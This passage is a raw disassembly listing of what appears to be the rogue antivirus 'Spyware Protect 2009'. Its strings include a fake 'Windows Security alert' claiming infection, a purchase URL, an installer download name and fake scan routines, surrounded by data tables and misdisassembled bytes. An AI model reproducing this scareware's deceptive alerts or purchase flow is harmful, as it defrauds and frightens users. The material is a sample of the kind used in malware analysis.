unicode 0, <HKEY_CLASSES_ROOT>,0 aHkcc: unicode 0, <HKCC>,0 align 4 aHkdd: unicode 0, <HKDD>,0 align 4 aHkpd: unicode 0, <HKPD>,0 align 10h aHku: unicode 0, <HKU>,0 aHklm: unicode 0, <HKLM>,0 align 4 aHkcu: ; DATA XREF: UPX0:00424518o unicode 0, <HKCU>,0 align 10h aHkcr: ; DATA XREF: UPX0:off_424510o unicode 0, <HKCR>,0 align 10h off_424510 dd offset aHkcr ; DATA XREF: sub_408297:loc_4082F9r ; "HKCR" dword_424514 dd 80000000h dd offset aHkcu ; "HKCU" dd 80000001h, 4244E8h, 80000002h, 4244E0h, 80000003h, 4244D4h dd 80000004h, 4244C8h, 80000006h, 4244BCh, 80000005h, 424498h dd 80000000h, 424474h, 80000001h, 42444Ch, 80000002h, 424434h dd 80000003h, 424408h, 80000004h, 4243ECh, 80000006h, 4243C4h dd 80000005h aModule: ; DATA XREF: sub_4089CE+16Bo ; sub_408BAA+162o unicode 0, <Module>,0 align 10h aModule_raw: ; DATA XREF: sub_4089CE+185o ; sub_408BAA+17Co unicode 0, <Module_Raw>,0 align 4 off_4245A8 dd offset byte_450052 ; DATA XREF: sub_4089CE:loc_408B91o ; sub_408BAA+1A9o aGistry: unicode 0, <GISTRY>,0 align 4 dword_4245BC dd 0 ; sub_40A0E8+2Eo ... aTrue db 'true',0 ; DATA XREF: sub_408E29+DCo ; sub_408FB6:loc_4091ACo ... align 4 aPurchase_htm: ; DATA XREF: sub_408D98+Fo unicode 0, <purchase.htm>,0 align 4 aFirst: ; DATA XREF: sub_408D98+29o unicode 0, <first>,0 aHandshake: ; DATA XREF: sub_408D98+4Do unicode 0, <handshake>,0 aSetemail: ; DATA XREF: sub_408D98+64o unicode 0, <setemail>,0 align 4 aInstallerurl: ; DATA XREF: sub_408D98+7Bo unicode 0, <installerurl>,0 align 8 aHttpSpywprotec: ; DATA XREF: sub_408E29+1Ao unicode 0, <http://spywprotect.com/orderint?prodid=1>,0 align 4 aR: ; DATA XREF: sub_408E29+41o unicode 0, <&r=>,0 a16_0: ; DATA XREF: sub_408E29+57o unicode 0, <16.0>,0 align 10h aEmail: ; DATA XREF: sub_408E29+87o unicode 0, <&email=>,0 aRedir: ; DATA XREF: sub_408E29+C6o unicode 0, <redir>,0 aSwp2009_full_v: ; DATA XREF: sub_408FB6+52o unicode 0, <swp2009_full_version.exe>,0 off_4246EE dd offset dword_440000 ; DATA XREF: sub_408FB6+190o ; sub_40F568+1Do ... dw 6Fh aWnloadProblem: unicode 0, <wnload problem>,0 align 8 aCanTDownloadIn: ; DATA XREF: sub_408FB6+1E8o unicode 0, <Can> dw 27h unicode 0, <t download installer, please try later.> dw 0Ah unicode 0, <If problem repeated please contact with support. Contact > unicode 0, <your can find in comfirmation email.>,0 aAlert_htm: ; DATA XREF: sub_4091FA+Fo unicode 0, <alert.htm>,0 aFstbuttonclick: ; DATA XREF: sub_4091FA+6Ao ; sub_4093B3+6Ao unicode 0, <fstButtonClick>,0 align 10h aNetalert_htm: ; DATA XREF: sub_4093B3+Fo unicode 0, <netalert.htm>,0 align 4 aSetinfo: ; DATA XREF: UPX0:004094E9o unicode 0, <setInfo>,0 aHtmlmain_htm: ; DATA XREF: sub_409533+Fo unicode 0, <htmlMain.htm>,0 align 4 aScanbuttonclic: ; DATA XREF: sub_409533+A1o unicode 0, <scanButtonClick>,0 aPurchase: ; DATA XREF: sub_409533+B6o unicode 0, <purchase>,0 align 4 aSetscanfile: ; DATA XREF: sub_4098E0+19Fo unicode 0, <setScanFile>,0 aSetprogressbar: ; DATA XREF: sub_40971E+2Do unicode 0, <setProgressBar>,0 align 4 aScanstart: ; DATA XREF: sub_40968F+16o unicode 0, <scanStart>,0 aScanstop: ; DATA XREF: sub_40983C+7Bo unicode 0, <scanStop>,0 align 4 aAddvirustable: ; DATA XREF: sub_4098E0+230o unicode 0, <addVirusTable>,0 asc_424958: ; DATA XREF: sub_4098E0+5Bo unicode 0, <\*>,0 align 10h a_: ; DATA XREF: sub_4098E0+AAo unicode 0, <.>,0 a__: ; DATA XREF: sub_4098E0+E9o unicode 0, <..>,0 align 4 asc_42496C: ; DATA XREF: sub_4098E0+135o unicode 0, <\>,0 aStatic: ; DATA XREF: sub_409CE5+1Do ; sub_40A0E8+33o ... unicode 0, <STATIC>,0 align 10h aSpywareProtect: ; DATA XREF: sub_409CE5+65o unicode 0, <Spyware Protect 2009>,0 align 4 aWindowsSecurit: ; DATA XREF: sub_409EDC+Ao unicode 0, <Windows Security alert>,0 align 10h aWindowsReports: ; DATA XREF: sub_409EDC+3Do unicode 0, <Windows reports that computer is infected. Antivirus soft> unicode 0, <ware helps to protect your computer against viruses and o> unicode 0, <ther security threats. Click here for the scan you comput> unicode 0, <er. Your system might be at risk now.>,0 align 4 aSwp2009Demo: ; DATA XREF: sub_409FB8+EBo unicode 0, <SWP2009 demo>,0 align 10h aAppid_0: ; DATA XREF: sub_40A1A6+Bo unicode 0, <APPID>,0 dd offset dword_426590 off_424BB0 dd offset loc_4073FB ; DATA XREF: UPX0:00407400o ; UPX0:0041C815o ... dd offset sub_407328 dd offset sub_407333 dd offset sub_40733E dd offset sub_407342 dd offset sub_40A1A6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 73h, 40h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 73h, 40h, 0 dd offset loc_4073E3 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 73h, 40h, 0 dd offset dword_426508 off_424BDC dd offset loc_403C1A ; DATA XREF: sub_4077EF+4o ; sub_4089CE+39o ... dd offset sub_4077E9 dd offset sub_403D50 dd offset sub_40783F dd offset sub_407A4C dd offset sub_407823 dd offset dword_42649C off_424BF8 dd offset sub_404BAF ; DATA XREF: sub_408D98+30o ; --------------------------------------------------------------------------- setalc xchg eax, ecx inc eax add [esi+4Dh], dl inc eax add al, ch js short loc_424C48 add [ebx], dh jns short loc_424C4C add [edx+7Ah], ah inc ecx loc_424C0F: ; DATA XREF: sub_408D98+36o add [eax-77FFBD9Ch], cl jle short near ptr loc_424C57+1 add cl, ch ja short loc_424C5B add cl, ch ja short near ptr loc_424C5B+4 add [edi+300404Bh], ah cmp al, [eax+0] retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset sub_418A6B dd offset dword_42641C off_424C34 dd offset sub_404BAF ; DATA XREF: sub_4091FA+21o ; sub_40927A+4o dd offset sub_40937F dd offset sub_404D56 dd offset nullsub_3 dd offset sub_4092D7 ; --------------------------------------------------------------------------- loc_424C48: ; CODE XREF: UPX0:00424C05j enter 4092h, 0 loc_424C4C: ; CODE XREF: UPX0:00424C09j or [edx+eax*2+0], ah loc_424C50: ; DATA XREF: sub_4091FA+27o ; sub_40927A+Ao mov [esi+41h], bh add cl, ch ja short loc_424C97 loc_424C57: ; CODE XREF: UPX0:00424C15j add cl, ch ja short near ptr loc_424C97+4 loc_424C5B: ; CODE XREF: UPX0:00424C19j ; UPX0:00424C1Dj add [edi+300404Bh], ah cmp al, [eax+0] retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset sub_418A6B dd offset dword_42639C off_424C70 dd offset sub_404BAF ; DATA XREF: sub_4093B3+21o ; sub_409433+4o ; --------------------------------------------------------------------------- pop ss xchg eax, ebp inc eax add [esi+4Dh], dl inc eax add al, ch js short loc_424CC0 add [ecx-6Ch], ah inc eax add al, cl xchg eax, edx inc eax loc_424C87: ; DATA XREF: sub_4093B3+27o ; sub_409433+Ao add [eax-77FFBD9Dh], cl jle short near ptr loc_424CCF+1 add cl, ch ja short loc_424CD3 add cl, ch ja short near ptr loc_424CD3+4 loc_424C97: ; CODE XREF: UPX0:00424C55j ; UPX0:00424C59j add [edi+300404Bh], ah cmp al, [eax+0] retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset sub_418A6B dd offset dword_42631C off_424CAC dd offset sub_404BAF ; DATA XREF: sub_409533+1Fo ; sub_40961F+6o dd offset sub_409BAB dd offset sub_404D56 dd offset nullsub_3 dd offset sub_40977C ; --------------------------------------------------------------------------- loc_424CC0: ; CODE XREF: UPX0:00424C7Dj db 65h xchg eax, edi inc eax add [eax], cl arpl [edx+0], ax loc_424CC8: ; DATA XREF: sub_409533+25o ; sub_40961F+Co mov [esi+41h], bh add cl, ch ja short loc_424D0F loc_424CCF: ; CODE XREF: UPX0:00424C8Dj add cl, ch ja short near ptr byte_424D13 loc_424CD3: ; CODE XREF: UPX0:00424C91j ; UPX0:00424C95j add [edi+300404Bh], ah cmp al, [eax+0] retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset sub_418A6B dword_424CE4 dd 146h, 0 dd 0C0h, 46000000h, 0 dbl_424CF8 dq 1.5 ; DATA XREF: sub_4098E0+1F4r off_424D00 dd offset sub_418C98 ; DATA XREF: sub_40DB8F+5r ; sub_40DB8F+Eo ... dd offset nullsub_1 dd offset nullsub_1 byte_424D0C db 65h, 2Bh, 30h ; DATA XREF: sub_418F1D:loc_418FF7o ; --------------------------------------------------------------------------- loc_424D0F: ; CODE XREF: UPX0:00424CCDj xor [eax], dh ; --------------------------------------------------------------------------- db 2 dup(0) byte_424D13 db 0 ; CODE XREF: UPX0:00424CD1j align 8 dbl_424D18 dq 4.195835e6 ; DATA XREF: sub_419871+11r dbl_424D20 dq 3.145727e6 ; DATA XREF: sub_419871+8r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4198AF+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4198AFo align 10h a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41AF2B:loc_41B061o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41AF2B+10Ao align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41AF2B+FBo align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41AF2B+E3o align 10h unicode 0, <H>,0 dd 0Eh dup(0) dd offset dword_42A034 dd offset dword_4266B0 dd 3Ah dword_424DB8 dd 3 dup(0) dd offset off_42DC78 dd offset dword_425B68 dword_424DCC dd 3 dup(0) dd offset off_42A014 dd offset dword_424DE0 dword_424DE0 dd 2 dup(0) dd 1, 424DF0h, 424DF8h, 0 dd offset off_42A014 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 424DE0h dword_424E14 dd 3 dup(0) dd offset off_42A424 dd offset dword_424E28 dword_424E28 dd 2 dup(0) dd 2, 424E38h, 424E44h, 425B4Ch, 0 dd offset off_42A424 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 424E28h dword_424E60 dd 0 dd 4Ch, 0 dd offset off_42B340 dd offset dword_424F3C dword_424E74 dd 0 dd 48h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424E88 dd 0 dd 44h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424E9C dd 0 dd 40h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424EB0 dd 0 dd 38h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424EC4 dd 0 dd 34h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424ED8 dd 0 dd 30h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424EEC dd 0 dd 2Ch, 0 dd offset off_42B340 dd offset dword_424F3C dd 0 dd 28h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424F14 dd 0 dd 24h, 0 dd offset off_42B340 dd offset dword_424F3C dword_424F28 dd 3 dup(0) dd offset off_42B340 dd offset dword_424F3C dword_424F3C dd 0 ; UPX0:00424E84o ... dd 1, 27h, 424F50h, 0 dd offset off_4258A8 dd offset off_424FF0 dd offset off_425858 dd offset off_42583C dd offset off_425820 dd offset off_4257DC dd offset off_426050 dd offset off_426090 dd offset off_426100 dd offset off_4260CC dd offset off_42574C dd offset off_425730 dd offset off_425714 dd offset off_4256C0 dd offset off_4256A4 dd offset off_4255C8 dd offset off_4255AC dd offset off_425590 dd offset off_425574 dd offset off_425558 dd offset off_425504 dd offset off_4254E8 dd offset off_425458 dd offset off_42543C dd offset off_425420 dd offset off_425390 dd offset off_425374 dd offset off_425358 dd offset off_425304 dd offset off_4252E8 dd offset off_425294 dd offset off_425278 dd offset off_425224 dd offset off_425208 dd offset off_42512C dd offset off_425110 dd offset off_4250F4 dd offset off_4250D8 dd offset off_4250BC align 10h off_424FF0 dd offset off_42B320 ; DATA XREF: UPX0:00424F54o ; UPX0:00425020o dd 25h, 0 dd 0FFFFFFFFh, 0 dd 40h, 42500Ch, 0 dd 5, 26h, 425020h, 0 dd offset off_424FF0 dd offset off_425858 dd offset off_42583C dd offset off_425820 dd offset off_4257DC dd offset off_426050 dd offset off_426090 dd offset off_426100 dd offset off_4260CC dd offset off_42574C dd offset off_425730 dd offset off_425714 dd offset off_4256C0 dd offset off_4256A4 dd offset off_4255C8 dd offset off_4255AC dd offset off_425590 dd offset off_425574 dd offset off_425558 dd offset off_425504 dd offset off_4254E8 dd offset off_425458 dd offset off_42543C dd offset off_425420 dd offset off_425390 dd offset off_425374 dd offset off_425358 dd offset off_425304 dd offset off_4252E8 dd offset off_425294 dd offset off_425278 dd offset off_425224 dd offset off_425208 dd offset off_42512C dd offset off_425110 dd offset off_4250F4 dd offset off_4250D8 dd offset off_4250BC dd 0 off_4250BC dd offset off_42B9CC ; DATA XREF: UPX0:00424FE8o ; UPX0:004250B4o dd 0 dd 4Ch, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_4250D8 dd offset off_42B380 ; DATA XREF: UPX0:00424FE4o ; UPX0:004250B0o dd 1, 4Ch, 0FFFFFFFFh, 0 dd 40h, 425998h off_4250F4 dd offset off_42AF70 ; DATA XREF: UPX0:00424FE0o ; UPX0:004250ACo dd 2, 4Ch, 0FFFFFFFFh, 0 dd 40h, 4251CCh off_425110 dd offset off_42AF94 ; DATA XREF: UPX0:00424FDCo ; UPX0:004250A8o dd 3, 4Ch, 0FFFFFFFFh, 0 dd 40h, 42518Ch off_42512C dd offset off_42AFC0 ; DATA XREF: UPX0:00424FD8o ; UPX0:004250A4o dd 4, 4Ch, 0FFFFFFFFh, 0 dd 40h, 425148h, 2 dup(0) dd 5, 425158h, 4251ECh, 425170h, 4251B0h, 42597Ch, 4262B8h dd 0 dd offset off_42AF94 dd 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 42518Ch, 2 dup(0) dd 4, 42519Ch, 425170h, 4251B0h, 42597Ch, 4262B8h, 0 dd offset off_42AF70 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 4251CCh, 2 dup(0) dd 3, 4251DCh, 4251B0h, 42597Ch, 4262B8h, 0 dd offset off_42AFC0 dd 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 425148h off_425208 dd offset off_42B9CC ; DATA XREF: UPX0:00424FD4o ; UPX0:004250A0o align 10h dd 48h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425224 dd offset off_42B088 ; DATA XREF: UPX0:00424FD0o ; UPX0:0042509Co dd 1, 48h, 0FFFFFFFFh, 0 dd 40h, 425240h, 2 dup(0) dd 2, 425250h, 42525Ch, 4262B8h, 0 dd offset off_42B088 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425240h off_425278 dd offset off_42B9CC ; DATA XREF: UPX0:00424FCCo ; UPX0:00425098o align 10h dd 44h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425294 dd offset off_42B0A8 ; DATA XREF: UPX0:00424FC8o ; UPX0:00425094o dd 1, 44h, 0FFFFFFFFh, 0 dd 40h, 4252B0h, 2 dup(0) dd 2, 4252C0h, 4252CCh, 4262B8h, 0 dd offset off_42B0A8 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4252B0h off_4252E8 dd offset off_42B9CC ; DATA XREF: UPX0:00424FC4o ; UPX0:00425090o align 10h dd 40h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425304 dd offset off_42B0C4 ; DATA XREF: UPX0:00424FC0o ; UPX0:0042508Co dd 1, 40h, 0FFFFFFFFh, 0 dd 40h, 425320h, 2 dup(0) dd 2, 425330h, 42533Ch, 4262B8h, 0 dd offset off_42B0C4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425320h off_425358 dd offset off_42B9CC ; DATA XREF: UPX0:00424FBCo ; UPX0:00425088o align 10h dd 38h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425374 dd offset off_42B0E4 ; DATA XREF: UPX0:00424FB8o ; UPX0:00425084o dd 1, 38h, 0FFFFFFFFh, 0 dd 40h, 4253E8h off_425390 dd offset off_42B104 ; DATA XREF: UPX0:00424FB4o ; UPX0:00425080o dd 2, 38h, 0FFFFFFFFh, 0 dd 40h, 4253ACh, 2 dup(0) dd 3, 4253BCh, 425404h, 4253CCh, 4262B8h, 0 dd offset off_42B0E4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4253E8h, 2 dup(0) dd 2, 4253F8h, 4253CCh, 4262B8h, 0 dd offset off_42B104 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 4253ACh off_425420 dd offset off_42B9CC ; DATA XREF: UPX0:00424FB0o ; UPX0:0042507Co align 8 dd 34h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_42543C dd offset off_42B144 ; DATA XREF: UPX0:00424FACo ; UPX0:00425078o dd 1, 34h, 0FFFFFFFFh, 0 dd 40h, 4254B0h off_425458 dd offset off_42B164 ; DATA XREF: UPX0:00424FA8o ; UPX0:00425074o dd 2, 34h, 0FFFFFFFFh, 0 dd 40h, 425474h, 2 dup(0) dd 3, 425484h, 4254CCh, 425494h, 4262B8h, 0 dd offset off_42B144 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4254B0h, 2 dup(0) dd 2, 4254C0h, 425494h, 4262B8h, 0 dd offset off_42B164 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425474h off_4254E8 dd offset off_42B9CC ; DATA XREF: UPX0:00424FA4o ; UPX0:00425070o align 10h dd 30h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425504 dd offset off_42B180 ; DATA XREF: UPX0:00424FA0o ; UPX0:0042506Co dd 1, 30h, 0FFFFFFFFh, 0 dd 40h, 425520h, 2 dup(0) dd 2, 425530h, 42553Ch, 4262B8h, 0 dd offset off_42B180 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425520h off_425558 dd offset off_42B9CC ; DATA XREF: UPX0:00424F9Co ; UPX0:00425068o align 10h dd 2Ch, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425574 dd offset off_42B72C ; DATA XREF: UPX0:00424F98o ; UPX0:00425064o dd 1, 2Ch, 0FFFFFFFFh, 0 dd 40h, 425FD4h off_425590 dd offset off_42B1A0 ; DATA XREF: UPX0:00424F94o ; UPX0:00425060o dd 2, 2Ch, 0FFFFFFFFh, 0 dd 40h, 425668h off_4255AC dd offset off_42B1C0 ; DATA XREF: UPX0:00424F90o ; UPX0:0042505Co dd 3, 2Ch, 0FFFFFFFFh, 0 dd 40h, 425628h off_4255C8 dd offset off_42B1E0 ; DATA XREF: UPX0:00424F8Co ; UPX0:00425058o dd 4, 2Ch, 0FFFFFFFFh, 0 dd 40h, 4255E4h, 2 dup(0) dd 5, 4255F4h, 425688h, 42560Ch, 42564Ch, 425FB8h, 4262B8h dd 0 dd offset off_42B1C0 dd 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 425628h, 2 dup(0) dd 4, 425638h, 42560Ch, 42564Ch, 425FB8h, 4262B8h, 0 dd offset off_42B1A0 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425668h, 2 dup(0) dd 3, 425678h, 42564Ch, 425FB8h, 4262B8h, 0 dd offset off_42B1E0 dd 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 4255E4h off_4256A4 dd offset off_42B9CC ; DATA XREF: UPX0:00424F88o ; UPX0:00425054o dd 0 dd 28h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_4256C0 dd offset off_42B208 ; DATA XREF: UPX0:00424F84o ; UPX0:00425050o dd 1, 28h, 0FFFFFFFFh, 0 dd 40h, 4256DCh, 2 dup(0) dd 2, 4256ECh, 4256F8h, 4262B8h, 0 dd offset off_42B208 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4256DCh off_425714 dd offset off_42B9CC ; DATA XREF: UPX0:00424F80o ; UPX0:0042504Co dd 0 dd 24h, 0FFFFFFFFh, 0 dd 42h, 4262D4h off_425730 dd offset off_42B228 ; DATA XREF: UPX0:00424F7Co ; UPX0:00425048o dd 1, 24h, 0FFFFFFFFh, 0 dd 40h, 4257A4h off_42574C dd offset off_42B248 ; DATA XREF: UPX0:00424F78o ; UPX0:00425044o dd 2, 24h, 0FFFFFFFFh, 0 dd 40h, 425768h, 2 dup(0) dd 3, 425778h, 4257C0h, 425788h, 4262B8h, 0 dd offset off_42B228 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 4257A4h, 2 dup(0) dd 2, 4257B4h, 425788h, 4262B8h, 0 dd offset off_42B248 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425768h off_4257DC dd offset off_42B270 ; DATA XREF: UPX0:00424F64o ; UPX0:00425030o dd 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 4257F8h, 0 dd 1, 5, 425808h, 4257DCh, 426050h, 426090h, 426100h, 4260CCh dd 0 off_425820 dd offset off_42B960 ; DATA XREF: UPX0:00424F60o ; UPX0:0042502Co align 8 dd 50h, 0FFFFFFFFh, 0 dd 40h, 426284h off_42583C dd offset off_42B988 ; DATA XREF: UPX0:00424F5Co ; UPX0:00425028o dd 1, 50h, 0FFFFFFFFh, 0 dd 40h, 42624Ch off_425858 dd offset off_42B2D0 ; DATA XREF: UPX0:00424F58o ; UPX0:00425024o align 10h dd 50h, 0FFFFFFFFh, 0 dd 40h, 425874h, 2 dup(0) dd 1, 425884h, 42588Ch, 0 dd offset off_42B2D0 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 425874h off_4258A8 dd offset off_42B340 ; DATA XREF: UPX0:00424F50o dd 26h, 0 dd 0FFFFFFFFh, 0 dd 40h, 424F3Ch, 0 dd 24h, 0 dd offset off_42B420 dd offset dword_4258EC dword_4258D8 dd 3 dup(0) dd offset off_42B420 dd offset dword_4258EC dword_4258EC dd 0 ; UPX0:004258E8o dd 1, 9, 4258FCh, 425A14h, 4259D0h, 426050h, 426090h, 426100h dd 4260CCh, 425940h, 425924h, 425EE8h, 0 dd offset off_42B380 dd 1, 24h, 0FFFFFFFFh, 0 dd 40h, 425998h, 42B398h, 2, 24h, 0FFFFFFFFh, 0 dd 40h, 42595Ch, 2 dup(0) dd 3, 42596Ch, 4259B4h, 42597Ch, 4262B8h, 0 dd offset off_42B380 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425998h, 2 dup(0) dd 2, 4259A8h, 42597Ch, 4262B8h, 0 dd offset off_42B398 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 42595Ch, 42B3C0h, 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 4259ECh, 0 dd 1, 5, 4259FCh, 4259D0h, 426050h, 426090h, 426100h, 4260CCh dd 0 dd offset off_42B420 dd 8, 0 dd 0FFFFFFFFh, 0 dd 40h, 4258ECh dword_425A30 dd 3 dup(0) dd offset off_42DC94 dd offset dword_425A44 dword_425A44 dd 2 dup(0) dd 3, 425A54h, 425A64h, 425B00h, 425B4Ch, 0 dd offset off_42DC94 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425A44h dword_425A80 dd 3 dup(0) dd offset off_42DE84 dd offset dword_425A94 dword_425A94 dd 2 dup(0) dd 3, 425AA4h, 425AB4h, 425B00h, 425B4Ch, 0 dd offset off_42DE84 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425A94h dword_425AD0 dd 3 dup(0) dd offset off_42DCB4 dd offset dword_425AE4 dword_425AE4 dd 2 dup(0) dd 2, 425AF4h, 425B00h, 425B4Ch, 0 dd offset off_42DCB4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425AE4h, 3 dup(0) dd offset off_42DEC0 dd offset dword_425B30 dword_425B30 dd 2 dup(0) dd 2, 425B40h, 425B80h, 425B4Ch, 0 dd offset off_42DC78 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 425B68h dword_425B68 dd 2 dup(0) dd 1, 425B78h, 425B4Ch, 0 dd offset off_42DEC0 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425B30h dword_425B9C dd 3 dup(0) dd offset off_42B5B0 dd offset dword_425BB0 dword_425BB0 dd 0 dd 1, 7, 425BC0h, 425CD4h, 425BE0h, 425C60h, 425C9Ch, 4262B8h dd 425C44h, 425C28h, 0 dd offset off_42B4F8 db 5, 4 dup(0) align 4 dd 0FFFFFFFFh, 0 dd 40h, 425BFCh, 0 dd 1, 6, 425C0Ch, 425BE0h, 425C60h, 425C9Ch, 4262B8h, 425C44h dd 425C28h, 0 dd offset off_42B960 align 10h dd 18h, 0FFFFFFFFh, 0 dd 40h, 426284h, 42B8C0h, 1, 18h, 0FFFFFFFFh, 0 dd 40h, 426188h, 42B458h, 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425C7Ch, 2 dup(0) dd 3, 425C8Ch, 425C60h, 425C9Ch, 4262B8h, 0 dd offset off_42B43C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425CB8h, 2 dup(0) dd 2, 425CC8h, 425C9Ch, 4262B8h, 0 dd offset off_42B5B0 dd 6, 0 dd 0FFFFFFFFh, 0 dd 40h, 425BB0h dword_425CF0 dd 0 dd 24h, 0 dd offset off_42B6F8 dd offset dword_425D18 dword_425D04 dd 3 dup(0) dd offset off_42B6F8 dd offset dword_425D18 dword_425D18 dd 0 ; UPX0:00425D14o dd 1, 0Ch, 425D28h, 425DFCh, 425D5Ch, 42616Ch, 426150h dd 425DB8h, 426050h, 426090h, 426100h, 4260CCh, 425F20h dd 425F04h, 425EE8h, 0 dd offset off_42B6D8 dd 0Ah, 0 dd 0FFFFFFFFh, 0 dd 40h, 425D78h, 0 dd 1, 0Bh, 425D88h, 425D5Ch, 42616Ch, 426150h, 425DB8h dd 426050h, 426090h, 426100h, 4260CCh, 425F20h, 425F04h dd 425EE8h, 0 dd offset off_42B678 dd 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 425DD4h, 0 dd 1, 5, 425DE4h, 425DB8h, 426050h, 426090h, 426100h, 4260CCh dd 0 dd offset off_42B6F8 dd 0Bh, 0 dd 0FFFFFFFFh, 0 dd 40h, 425D18h dword_425E18 dd 0 dd 24h, 0 dd offset off_42B928 dd offset dword_425E40 dword_425E2C dd 3 dup(0) dd offset off_42B928 dd offset dword_425E40 dword_425E40 dd 0 ; UPX0:00425E3Co dd 1, 0Dh, 425E50h, 4261C0h, 425E88h, 42616Ch, 426150h dd 42600Ch, 426050h, 426090h, 426100h, 4260CCh, 425F3Ch dd 425F20h, 425F04h, 425EE8h, 0 dd offset off_42B904 dd 0Bh, 0 dd 0FFFFFFFFh, 0 dd 40h, 425EA4h, 0 dd 1, 0Ch, 425EB4h, 425E88h, 42616Ch, 426150h, 42600Ch dd 426050h, 426090h, 426100h, 4260CCh, 425F3Ch, 425F20h dd 425F04h, 425EE8h, 0 dd offset off_42B9CC align 10h dd 24h, 0FFFFFFFFh, 0 dd 40h, 4262D4h, 42B72Ch, 1, 24h, 0FFFFFFFFh, 0 dd 40h, 425FD4h, 42B748h, 2, 24h, 0FFFFFFFFh, 0 dd 40h, 425F98h, 42B76Ch, 3, 24h, 0FFFFFFFFh, 0 dd 40h, 425F58h, 2 dup(0) dd 4, 425F68h, 425FF0h, 425F7Ch, 425FB8h, 4262B8h, 0 dd offset off_42B748 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 425F98h, 2 dup(0) dd 3, 425FA8h, 425F7Ch, 425FB8h, 4262B8h, 0 dd offset off_42B72C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 425FD4h, 2 dup(0) dd 2, 425FE4h, 425FB8h, 4262B8h, 0 dd offset off_42B76C dd 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 425F58h, 42B858h, 4, 0 dd 0FFFFFFFFh, 0 dd 40h, 426028h, 0 dd 1, 5, 426038h, 42600Ch, 426050h, 426090h, 426100h, 4260CCh dd 0 off_426050 dd offset off_42B800 ; DATA XREF: UPX0:00424F68o ; UPX0:00425034o dd 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 42606Ch, 0 dd 1, 4, 42607Ch, 426050h, 426090h, 426100h, 4260CCh, 0 off_426090 dd offset off_42B7C8 ; DATA XREF: UPX0:00424F6Co ; UPX0:00425038o dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 4260ACh, 0 dd 1, 3, 4260BCh, 426090h, 426100h, 4260CCh, 0 off_4260CC dd offset off_42B78C ; DATA XREF: UPX0:00424F74o ; UPX0:00425040o dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 4260E8h, 2 dup(0) dd 1, 4260F8h, 4260CCh, 0 off_426100 dd offset off_42B7AC ; DATA XREF: UPX0:00424F70o ; UPX0:0042503Co align 8 dd 4, 0FFFFFFFFh, 0 dd 40h, 42611Ch, 2 dup(0) dd 1, 42612Ch, 426134h, 0 dd offset off_42B7AC align 10h dd 0FFFFFFFFh, 0 dd 40h, 42611Ch, 42B960h, 0 dd 28h, 0FFFFFFFFh, 0 dd 40h, 426284h, 42B8C0h, 1, 28h, 0FFFFFFFFh, 0 dd 40h, 426188h, 2 dup(0) dd 2, 426198h, 4261A4h, 